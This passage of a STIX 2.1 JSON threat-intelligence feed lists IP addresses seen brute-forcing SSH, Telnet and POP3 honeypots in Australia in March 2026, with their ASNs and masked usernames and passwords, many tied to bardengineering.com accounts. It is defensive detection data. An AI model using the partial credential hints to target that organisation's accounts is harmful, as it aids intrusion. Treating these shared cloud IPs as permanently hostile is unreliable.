      "pattern": "[ipv4-addr:value = '102.130.121.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: SC. ASN(s): 394695. Organisation(s): PDR. Usernames observed (masked): i**o@bardengineering.com, o****s@bardengineering.com, w*******r@bardengineering.com. Passwords observed (masked): B******************5, b******************4, b******************3.",
      "id": "indicator--9a66a1a4-2f54-4a6f-b4f1-e9c97eedeaad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.211.218.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 149130. Organisation(s): TEKNIX CLOUD TECHNOLOGY INFRASTRUCTURE JOINT STOCK COMPANY. Usernames observed (masked): a****1, 3**********4. Passwords observed (masked): 1********3, 3***********4, 3**********4.",
      "id": "indicator--3f7b6979-e028-4e24-889f-9d17b55ca9b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.234.151.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t. Passwords observed (masked): A**********3.",
      "id": "indicator--b2300202-ebca-43a1-8f96-17067ba5c5e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.61.122.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, o****e, p******s, s****r, t******r. Passwords observed (masked): 1****1, ***, ***, o****e, p**s.",
      "id": "indicator--e367d539-9f42-46f9-858f-d19e225e4f7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.157.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: IN. ASN(s): 394695. Organisation(s): PDR. Usernames observed (masked): h**p@bardengineering.com, n******y@bardengineering.com, s*****t@bardengineering.com. Passwords observed (masked): 1****6, p***********5, t******#.",
      "id": "indicator--2c51fcd0-440c-4445-b885-731d80a598b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.18.55.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 38785. Organisation(s): PT. BORNEO BROADBAND TECHNOLOGY.",
      "id": "indicator--d2912c8c-6606-4651-8fe0-8edd878a3763",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.101.185.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): **@bardengineering.com, n********r@bardengineering.com. Passwords observed (masked): B******************@, b*****************3.",
      "id": "indicator--35f1c16d-bba9-489c-9069-5f6d47ca70e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.207.152.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): b*****g@bardengineering.com, c*o@bardengineering.com, j**s@bardengineering.com. Passwords observed (masked): 2******************g, B******************5.",
      "id": "indicator--381df123-d4b4-4c27-8cbf-a830fd612db6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.121.35.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC.",
      "id": "indicator--970081b5-d28e-49ca-8bf1-5eeea693dd54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n@bardengineering.com, h**p@bardengineering.com, n******y@bardengineering.com. Passwords observed (masked): 1***************g, B******************., b******************5.",
      "id": "indicator--9ad523ad-2866-4316-8da6-27beb30cc7d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.64.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3***********4, 3**********4, 1********3, 1*******., 6******N.",
      "id": "indicator--b1feb164-ab94-4a49-8ecb-d37b89e58a96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.132.215.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): f*****e@bardengineering.com, n********r@bardengineering.com, w*******r@bardengineering.com. Passwords observed (masked): 1***************g, b***************2, b*****************#.",
      "id": "indicator--7443620c-c400-477b-8cbf-1848226624ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.211.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--a66b6dbb-7a7f-4ea5-babe-ea42e39ed2ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IN. ASN(s): 47583. Organisation(s): Hostinger International Limited. Usernames observed (masked): s***s@bardengineering.com. Passwords observed (masked): p**********3.",
      "id": "indicator--e0dcf56d-bdcc-4bc4-82ff-af45a86b67f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.77.184.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 9930. Organisation(s): TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3***********4, 3**********4, 1********3, 1*******., 6******N.",
      "id": "indicator--abfd076c-395f-4518-862d-5cf9a21ec717",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.184.159.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n@bardengineering.com, c*****t@bardengineering.com, s***s@bardengineering.com. Passwords observed (masked): 2******************g, a*******5, p***********6.",
      "id": "indicator--2610f59b-668b-41f7-bbcf-5d5a17e65ce5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.205.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): a***n@bardengineering.com, f*****e@bardengineering.com, t**t@bardengineering.com. Passwords observed (masked): #******************g, B****************!, P***********@.",
      "id": "indicator--9adb2db2-46c8-4ad2-8472-2318e5e46684",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.147.12.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n@bardengineering.com, s***s@bardengineering.com, s*****t@bardengineering.com. Passwords observed (masked): !*****************g, B******************., t*******5.",
      "id": "indicator--4e578273-52fc-4573-9bc0-5b530185a1de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.201.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): i**o@bardengineering.com, a***n@bardengineering.com. Passwords observed (masked): B******************!, b*******************5, p***********5.",
      "id": "indicator--9a146cb9-14a1-46d4-a8dd-a65aa6e12a9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.95.42.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45820. Organisation(s): Tata Teleservices ISP AS. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3***********4, 3**********4, 1********3, 1*******., 6******N.",
      "id": "indicator--d86a728f-1bf2-4fae-98fe-a3b3ca4318dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.200.179.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): h**p@bardengineering.com. Passwords observed (masked): B******************@.",
      "id": "indicator--86133e5d-291f-4d5c-8825-38ea2c368f4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.131.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 110. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): c*****t@bardengineering.com, f*****e@bardengineering.com, n******y@bardengineering.com, s*****t@bardengineering.com. Passwords observed (masked): !******************g, ***, 2*****************g, P*********3.",
      "id": "indicator--3e95802e-4542-4387-a0f1-b6df6fe3c6d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.136.81.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IN. ASN(s): 47583. Organisation(s): Hostinger International Limited. Usernames observed (masked): w*******r@bardengineering.com. Passwords observed (masked): B*****************4.",
      "id": "indicator--f781e68c-4870-4b41-81d0-ce67ff279c89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.127.206.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: BG. ASN(s): 209101. Organisation(s): IP Vendetta Inc.. Usernames observed (masked): a***n@bardengineering.com, c*****t@bardengineering.com, s*****t@bardengineering.com. Passwords observed (masked): @******************g, B******************4, b******************6.",
      "id": "indicator--9bfd7acf-6d33-4202-a0d2-77ccf2f1b54d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.154.172.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 15802. Organisation(s): Emirates Integrated Telecommunications Company PJSC. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3***********4, 3**********4, 1********3, 1*******., 6******N.",
      "id": "indicator--920b3981-64cb-4b97-ae77-19a5e2ed5518",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.206.56.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 146. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 138718. Organisation(s): Ekowebtech It Services Pvt Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******c, 1*******@, 3******@.",
      "id": "indicator--050a4471-537a-46d0-a726-0514ac56530a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.113.104.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131366. Organisation(s): Lanit Technology and Communication Joint Stock Company. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******c, 1*******@, 3******@.",
      "id": "indicator--45498817-6840-4409-88e7-b08bc9b627a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.163.215.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 55720. Organisation(s): Gigabit Hosting Sdn Bhd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******c, 1*******@, 3******@.",
      "id": "indicator--3ec66352-226d-4c4c-8027-23bd06ebcca4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.175.16.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 146. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******c, 1*******@, 3******@.",
      "id": "indicator--3a259a69-cb0c-479d-b6b3-25d47d856a0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.183.74.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--239fa303-5fc9-445a-b344-ed0a30dd4ed6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.50.192.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--8ecb295b-a2b9-4a33-bc14-62798a217fef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.142.244.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******c, 1*******@, 3******@.",
      "id": "indicator--03be7bd4-b2c6-4c0f-b30b-47cb5ac475e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.58.213.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
